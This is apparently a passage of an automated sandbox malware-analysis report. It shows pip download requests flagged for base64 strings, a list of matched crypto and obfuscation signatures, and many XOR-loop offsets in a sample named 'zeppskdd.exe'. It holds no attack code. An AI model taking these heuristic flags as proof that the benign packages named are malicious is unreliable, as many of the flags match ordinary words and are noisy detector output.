2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "Encoding" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "keep" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "none" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "pythonhosted" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "null" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "name" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "2021" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "Encoding" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "keep" in header "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "cp37" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "abi3" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "pythonhosted" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "null" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "name" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "2021" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "Encoding" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "keep" in header "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive"2e:T7c6,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Command line contains long Base64-encoded string Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Contains reference to cryptographic keys Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Detected Suricata alert – Encrypted channel Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms2f:T13e61,Found XOR loop in file "zeppskdd.exe" at offset 181668; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 320356; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 523056; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 3751354; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 3751443; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 4328700; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 4956028; code bytes = 30d0 Found XOR loop in file "zeppskdd.exe" at offset 194365; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083484; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083497; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083518; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083531; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083552; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1083565; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1500651; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 1500711; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 2327061; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 2327074; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 2411431; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 2877353; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3000711; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3001037; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3001345; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3001348; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3001354; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3134426; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3134466; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3134596; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3134648; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3237930; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3238036; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3238776; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3238854; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3238985; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3239369; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3239709; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3239765; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3239973; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3240046; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3240184; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3240565; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3240813; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3240870; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3241151; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3241224; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3241373; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3241975; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3242338; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3242413; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3242552; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3242863; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3243157; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3243500; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3243582; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3245610; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3245831; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3246050; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3246781; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3246883; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3247205; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3247297; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3247448; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3248146; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3248551; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3248633; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3248798; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3249138; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3249309; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3249473; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3249878; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3249959; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3250120; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3250526; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3250616; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3250782; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3251206; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3251285; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3251457; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3251888; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3251995; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3252135; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3252553; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3252657; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3252816; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3253243; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3253793; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3254200; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3254232; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3303436; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3309641; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3332002; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3332017; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3429047; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3520377; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3582492; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3586449; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3588005; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3588652; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3588813; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3588864; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3590141; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3602027; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3648323; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678141; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678261; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678312; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678435; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678480; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678594; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678644; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678804; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3678968; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679126; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679216; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679256; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679380; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679419; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679544; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679582; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679711; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3679873; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680049; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680372; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680540; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680710; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680866; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3680906; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681032; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681070; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681194; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681234; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681442; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681601; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681765; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681884; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3681934; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3682053; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3682772; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3817997; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3832108; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3832141; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3832290; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3845748; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3846763; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3846783; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3846803; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3894067; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3923823; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3923834; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 3923912; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4113399; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4119195; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4265229; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4265331; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4300889; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4375892; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4441241; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4441490; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4441954; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4441985; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4442022; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4442049; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4442064; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4445328; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4446723; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4446767; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4446816; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447170; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447322; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447472; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447624; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447774; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4447926; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448076; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448228; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448378; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448677; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448829; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4448979; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449135; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449308; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449458; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449610; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449760; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4449912; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450062; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450214; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450364; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450516; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450666; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450818; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4450968; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4451120; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4451270; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452050; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452196; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452342; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452488; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452634; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452780; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4452926; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453072; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453218; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453364; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453510; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453656; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453802; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4453952; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454120; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454266; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454412; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454558; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454704; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454850; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4454996; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455142; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455288; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455434; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455580; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455726; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4455872; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4456018; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4456624; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4518400; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4518451; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4518793; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4569307; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4571204; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4783982; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4784249; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4785954; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4786045; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 4786106; code bytes = 33c1 Found XOR loop in file "zeppskdd.exe" at offset 181788; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 236011; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 291690; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 521935; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 659212; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 1022959; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 1887382; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 1944606; code bytes = 8030 Found XOR loop in file "zeppskdd.exe" at offset 2027239; code bytes = 8030 